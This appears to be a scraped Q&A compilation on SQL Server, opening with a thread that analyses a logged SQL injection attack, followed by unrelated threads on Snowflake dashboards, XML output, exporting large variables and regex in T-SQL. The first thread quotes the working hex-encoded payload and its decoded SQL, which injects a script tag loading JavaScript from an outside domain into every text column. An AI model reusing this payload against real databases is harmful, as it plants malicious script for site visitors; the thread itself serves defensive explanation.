I have a public facing website that has been receiving a number of SQL injection attacks over the last few weeks. I exclusively use parameterised stored procedures so I believe that there has been no successful attacks, but a recent log showed an interesting technique:
Line breaks added for clarity
http://www.mydummysite.uk/mypage.asp?l_surname=Z;DECLARE%20#S%20CHAR(4000);SET
#S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263
686172283430303029204445434C415245205461626C655F437572736F7220435552534F
5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F
626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E69
6420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F72
20622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970
653D31363729204F50454E205461626C655F437572736F72204645544348204E45585420
46524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528
404046455443485F5354415455533D302920424547494E20657865632827757064617465
205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C
736372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F6373
7273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D2077
6865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73
6372697074207372633D22687474703A2F2F777777322E73383030716E2E636E2F637372
73732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E455854
2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E442043
4C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43
7572736F72 AS CHAR(4000));EXEC(#S);&_X="
Can anyone shed light on what the "CAST and EXEC" is attempting to do?
Below is the decoded SQL that they were trying to push:
DECLARE #T varchar(255),
#C varchar(4000)
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT
FROM Table_Cursor INTO #T,#C
WHILE(##FETCH_STATUS=0)
BEGIN exec('update ['+#T+'] SET ['+#C+']=''"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''+['+#C+'] WHERE '+#C+' NOT like ''%"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO #T,#C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
The code, when decyphered from hex into chars, seems to go through all your database tables, select all columns that are of text/char type, and at the end of each value of this type add a malicious script execution from http://www2.s800qn.cn/csrss/w.js. Now if in your website, you have at least one place where you don't escape text data retrieved from your database, your site's users will have this malicious script executed on their machines.
Run this, for example in mysql:
select CAST(0x44...72 AS CHAR(4000)) as a;
and you'll know. Ishmaeel pasted the code.
This is a SQLserver worm, not a targeted atatck.
I think we've had this attack before. It's trying to insert a <script> tag in every field in every table in the database.
It's an adware-dropper script, built to clog up your database with <script> tags that show up on your pages. It's encoded because most servers would explode if you tried to push that junk through the URL.
Most things like this are random-attempt-attacks in that they'll hit anything with a querystring but it might be a targeted attack. Test your site to make sure it's not letting any SQL from querystrings execute. Just using parametrised queries should cover you.
The simplest Python algorithm to decypher the hex code is this:
text = "4445434C415245204054207661726368617228323535292C404..."
def getText():
for i in range(0, len(text), 2):
byte = text[i:i+2]
char = int(byte, 16)
toPrint = chr(char)
yield toPrint
print ''.join(getText())
Related
We are trying to use multi statements in Snowflake Dashboard tiles and do not quite understand the behaviour.
Let's say I create these 2 statements in my tile
SET MyVar = ( SELECT TOP 1 TABLE_NAME FROM DEV_CONTROL.INFORMATION_SCHEMA.TABLES WHERE NOT TABLE_NAME = :Subscription );
SELECT $MyVar;
If I highlight the first line and run it, I get a successful statement that does not return anything.
If I get back to my tile, I see "Statement executed successfully."
If I then go back to my SQL statements and highlights both, then run it, I get the name of the first table.
Going back to my dashboard, I now see the result of the second statement, my table name.
I find this both confusing and incoherent...
The data showed in the tile should reflect ALL the code I entered, not just what I happened to highlight and run the last time I looked at the code?...
Unfortunately, it's not documented well. As you mentioned, the tiles show only the result of the last executed query - at least this is what I observed on my tests.
Using Snowflake Scripting can be helpful here:
DECLARE
MyVar VARCHAR;
Rcount NUMBER;
BEGIN
SELECT TOP 1 TABLE_NAME INTO :MyVar FROM GOKHAN_DB.INFORMATION_SCHEMA.TABLES WHERE NOT TABLE_NAME LIKE 'TEST%' ORDER BY random();
SELECT IFNULL(ROW_COUNT,0) INTO :Rcount FROM GOKHAN_DB.INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = :MyVar;
RETURN :MyVar || ' ' || :Rcount;
END;
The above code will be executed as a block.
I am using FOR XML PATH in SQL Server 2014 to generate an XML file to send to one of our vendors. Their system requires that each root node be separated by a carriage return / line break. Here is the T-SQL code I'm using to generate it:
Declare #xmldata xml
set #xmldata =
(SELECT a.StatementDate AS [stmt_date]
,a.CustomerID AS [student_id]
,'Upon Receipt' AS [due_date]
,a.TotalDue AS [curr_bal]
,a.TotalDue AS [total_due]
,a.AlternateID AS [alternate_id]
,a.FullName AS [student_name]
,a.Email AS [student_email]
,a.Addr1
,a.Addr2
,a.Msg AS [message]
,(
SELECT b.StatementDate AS [activity_date]
,b.ActivityDesc AS [activity_desc]
,b.TermBalance AS [charge]
FROM #ActivityXML AS b
WHERE a.CustomerID = b.CustomerID
ORDER BY a.StatementDate
FOR XML PATH('activity'),TYPE
)
FROM #BillingStatement AS a
FOR XML PATH('Billing'))
select #xmldata as returnXml
This works great, but returns one long string with no separation between nodes at all. (I would post an example but it would just look like a jumbled up mess in here.)
Anyhow, what we need is to generate a file where each <Billing> tag and contents within is placed on a new line after a closing </Billing> tag. I would guess there's a simple solution, such as inserting char(13)+char(10) somewhere in the code, but I've been unable to get that working. Is it possible or will I need to do it in another system?
Based on responses here and research elsewhere, this is not possible using just T-SQL. We would need to either copy / paste the output, or use another program to take the data and insert line breaks.
From #Shnugo - "The pretty print of XML is not supported natively within T-SQL. You might use a CLR method, a service or any kind of post processing with a physically stored file. You might open the XML from grid-results' xml viewer and copy-paste the output to a text editor. Don't forget to set the XML size for grid result to unlimited, if your XML is big."
I can't find the exact solution to this problem. I have a SQL script that creates another very long script in different steps.
What i do is, along the script, to add new pieces of script to a varchar(max) using concatenation. The final script is so long that it's difficult for me to get it. I use the following as the final instruction:
SELECT [processing-instruction(x)] = #MyScript
FOR XML PATH(''), TYPE;
In this way I can manage to get quite long results with this but sometimes the result is so long that it seems SSMS runs out of memory.
I tried saving my variable #MyScript by selecting it and saving the result as a text or a file but it saves less than 20K characters. I have set the XML max output length as unlimited and it seems to work but when I click on the result cell with the blue content (the xml with the script) then SSMS freezes.
The nice thing is that APPEARENTLY the script is generated quite fast (I am logging with print the different steps) but I can't see the results of my efforts.
Is there some way i can get hold of the content of this lengthy varchar(max) ?
Thanks
Create a procedure that selects the variable as output.
SELECT #MyScript XmlData
FOR XML PATH(''), TYPE;
Then go to the command line and execute:
bcp "exec sp_OutputXml" queryout MyScript.xml -w -T -S <server> -d <database>
If you wanted to do it all with T-SQL you could run the bcp command with xp_cmdshell if you have that enabled on your server.
If you want to save the contents of a MAX type variable or field -- VARCHAR(MAX), NVARCHAR(MAX), and VARBINARY(MAX) -- to a file, you can create a SQLCLR stored procedure or function ( I would choose function so that it can be used inline in a query to saved the contents of a field without first transferring it to a variable, not to mention being set-based and all ).
For saving a string, you can probably get away with doing something as simple as File.WriteAllText. Something along the lines of:
C# code:
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
public class SaveStuff
{
[SqlFunction(IsDeterministic = false, IsPrecise = true)]
public static SqlInt32 SaveToFile([SqlFacet(MaxSize = 500)] SqlString FilePath,
[SqlFacet(MaxSize = -1)] SqlString TextToSave)
{
File.WriteAllText(FilePath.Value, TextToSave.Value);
return TextToSave.Value.Length;
}
}
Please note:
due to accessing the file system, the assembly will need to be registered with PERMISSION_SET = EXTERNAL_ACCESS. While it is easier to set the database to TRUSTWORTHY ON, it is far better to:
sign the assembly and use a password to protect the key file.
create an Asymmetric Key from the DLL
create a Login from that Asymmetric Key
grant the Login the EXTERNAL ACCESS ASSEMBLY permission
the code above is using the system default encoding, which may or may not match how the string is encoded within SQL Server. If necessary, there is another overload of File.WriteAllText that accepts a 3rd input parameter to set the encoding.
the above C# code does not test either input parameter for .IsNull as it is better to create the T-SQL wrapper object using WITH RETURNS NULL ON NULL INPUT as it skips calling this method entirely if either input param is NULL.
Test query:
DECLARE #Bob NVARCHAR(MAX);
SET #Bob = REPLICATE(CONVERT(NVARCHAR(MAX), N'This is just a test, yo! '), 1000000);
SELECT LEN(#Bob); -- 25,000,000
SET STATISTICS TIME ON;
SELECT dbo.SaveToFile(N'C:\TEMP\StackOverflow\z.txt', #Bob); -- 25,000,000
SET STATISTICS TIME OFF;
On my slow laptop, it exported 23.8 MB (25,000,000 bytes) in:
CPU time = 94 ms, elapsed time = 188 ms.
and, adding a 0 to the REPLICATE function, exported 238 MB (250,000,000 bytes) in:
CPU time = 1704 ms, elapsed time = 8714 ms.
(total elapsed time was 33 seconds, so it took 24 seconds to generate the value to be saved)
Now, if you don't want to mess with creating the SQLCLR assembly and the Asymmetric Key, etc., this function (named File_WriteFile), and many others (including File_WriteFileBinary), are available in the SQL# library (which I am the author of). Please note that the File_* functions are only available in the Full version and not in the Free version.
Another option that avoids SSMS from dealing with the full contents of the large variable is having SQL Server email you the contents of that variable as a SQL script. Something like:
sp_send_dbmail #query = 'SELECT #MyScript AS [--MyScript]',
#recipients = 'your#email.address',
#subject = 'My SQL Script',
#attach_query_result_as_file = 1,
#query_attachment_filename = 'DoLotsOfThings.sql',
#query_no_truncate = 1;
Please note that the default maximum file attachment size is 1 MB. I am not sure if that limitation applies to query results that are attached as files, so you might need to first run the following to increase that limit:
sysmail_configure_sp 'MaxFileSize', '52428800'; -- set Max to 50 MB
More info:
sp_send_dbmail
sysmail_configure_sp
I want to add a new parameter to an existing stored procedure. Body of this procedure may have been already customized by users so I can't drop and recreate it. I don't need to modify the body, just the signature.
So I thought to do a replacement of the last existing parameter by itself + the new parameter.
replace(OBJECT_DEFINITION (OBJECT_ID(id)),'#last_param varchar(max)=null','#last_param varchar(max)=null, #new_param varchar(max)=null')
It works fine if the following string is found
#last_param varchar(max)=null
but doesn't work if there is spaces in the string.
I would like to use a regex to be sure it works in all cases but I'm not sure it's possible in SQL Server.
Can you help me please ?
Thanks
SQL Server does not natively support regular expressions. You'll have to look at more manual string-analyzing with the available string functions. Something like this:
set #obDef = OBJECT_DEFINITION(OBJECT_ID(id))
set #startLastParam = PATINDEX('%#last_param%varchar%(%max%)%=%null%', #obDef)
if #startLastParam = 0 begin
-- handle lastParam not found
end else begin
set #endLastParam = CHARINDEX('null', #obDef, #startLastParam) + 4 -- 4 = len('null')
set #newDef = STUFF(#obDef, #endLastParam, 0, ', #new_param varchar(max)=null')
end
This isn't very fool-proof/safe though. PATINDEX() only gives you the same % wildcard you know from LIKE, it may match no character, it may match half the stored proc to find the word max somewhere entirely outside the signature.
So don't just run this in your customers production ;) but if you are certain about the current stored proc signature, this might just do the trick for you.
Is there any regular expression library written in T-SQL (no CLR, no extended SP, pure T-SQL) for SQL Server, and that should work with shared hosting?
Edit:
Thanks, I know about PATINDEX, LIKE, xp_ sps and CLR solutions
I also know it is not the best place for regex, the question is theoretical :)
Reduced functionality is also accepted
How about the PATINDEX function?
The pattern matching in TSQL is not a complete regex library, but it gives you the basics.
(From Books Online)
Wildcard Meaning
% Any string of zero or more characters.
_ Any single character.
[ ] Any single character within the specified range
(for example, [a-f]) or set (for example, [abcdef]).
[^] Any single character not within the specified range
(for example, [^a - f]) or set (for example, [^abcdef]).
If anybody is interested in using regex with CLR here is a solution. The function below (C# .net 4.5) returns a 1 if the pattern is matched and a 0 if the pattern is not matched. I use it to tag lines in sub queries. The SQLfunction attribute tells sql server that this method is the actual UDF that SQL server will use. Save the file as a dll in a place where you can access it from management studio.
// default using statements above
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Text.RegularExpressions;
namespace CLR_Functions
{
public class myFunctions
{
[SqlFunction]
public static SqlInt16 RegexContain(SqlString text, SqlString pattern)
{
SqlInt16 returnVal = 0;
try
{
string myText = text.ToString();
string myPattern = pattern.ToString();
MatchCollection mc = Regex.Matches(myText, myPattern);
if (mc.Count > 0)
{
returnVal = 1;
}
}
catch
{
returnVal = 0;
}
return returnVal;
}
}
}
In management studio import the dll file via programability -- assemblies -- new assembly
Then run this query:
CREATE FUNCTION RegexContain(#text NVARCHAR(50), #pattern NVARCHAR(50))
RETURNS smallint
AS
EXTERNAL NAME CLR_Functions.[CLR_Functions.myFunctions].RegexContain
Then you should have complete access to the function via the database you stored the assembly in.
Then use in queries like so:
SELECT *
FROM
(
SELECT
DailyLog.Date,
DailyLog.Researcher,
DailyLog.team,
DailyLog.field,
DailyLog.EntityID,
DailyLog.[From],
DailyLog.[To],
dbo.RegexContain(Researcher, '[\p{L}\s]+') as 'is null values'
FROM [DailyOps].[dbo].[DailyLog]
) AS a
WHERE a.[is null values] = 0
There is some basic pattern matching available through using LIKE, where % matches any number and combination of characters, _ matches any one character, and [abc] could match a, b, or c...
There is more info on the MSDN site.
In case anyone else is still looking at this question, http://www.sqlsharp.com/ is a free, easy way to add regular expression CLR functions into your database.
If you are using SQL Server 2016 or above, you can use sp_execute_external_script along with R. It has functions for Regular Expression searches, such as grep and grepl.
Here's an example for email addresses. I'll query some "people" via the SQL Server database engine, pass the data for those people to R, let R decide which people have invalid email addresses, and have R pass back that subset of people to SQL Server. The "people" are from the [Application].[People] table in the [WideWorldImporters] sample database. They get passed to the R engine as a dataframe named InputDataSet. R uses the grepl function with the "not" operator (exclamation point!) to find which people have email addresses that don't match the RegEx string search pattern.
EXEC sp_execute_external_script
#language = N'R',
#script = N' RegexWithR <- InputDataSet;
OutputDataSet <- RegexWithR[!grepl("([_a-z0-9-]+(\\.[_a-z0-9-]+)*#[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,4}))", RegexWithR$EmailAddress), ];',
#input_data_1 = N'SELECT PersonID, FullName, EmailAddress FROM Application.People'
WITH RESULT SETS (([PersonID] INT, [FullName] NVARCHAR(50), [EmailAddress] NVARCHAR(256)))
Note that the appropriate features must be installed on the SQL Server host. For SQL Server 2016, it is called "SQL Server R Services". For SQL Server 2017, it was renamed to "SQL Server Machine Learning Services".
Closing Thoughts
Microsoft's implementation of SQL (T-SQL) doesn't have native support for RegEx. This proposed solution may not be any more desirable to the OP than the use of a CLR stored procedure. But it does offer an additional way to approach the problem.
You can use VBScript regular expression features using OLE Automation. This is way better than the overhead of creating and maintaining an assembly. Please make sure you go through the comments section to get a better modified version of the main one.
http://blogs.msdn.com/b/khen1234/archive/2005/05/11/416392.aspx
DECLARE #obj INT, #res INT, #match BIT;
DECLARE #pattern varchar(255) = '<your regex pattern goes here>';
DECLARE #matchstring varchar(8000) = '<string to search goes here>';
SET #match = 0;
-- Create a VB script component object
EXEC #res = sp_OACreate 'VBScript.RegExp', #obj OUT;
-- Apply/set the pattern to the RegEx object
EXEC #res = sp_OASetProperty #obj, 'Pattern', #pattern;
-- Set any other settings/properties here
EXEC #res = sp_OASetProperty #obj, 'IgnoreCase', 1;
-- Call the method 'Test' to find a match
EXEC #res = sp_OAMethod #obj, 'Test', #match OUT, #matchstring;
-- Don't forget to clean-up
EXEC #res = sp_OADestroy #obj;
If you get SQL Server blocked access to procedure 'sys.sp_OACreate'... error, use sp_reconfigure to enable Ole Automation Procedures. (Yes, unfortunately that is a server level change!)
More information about the Test method is available here
Happy coding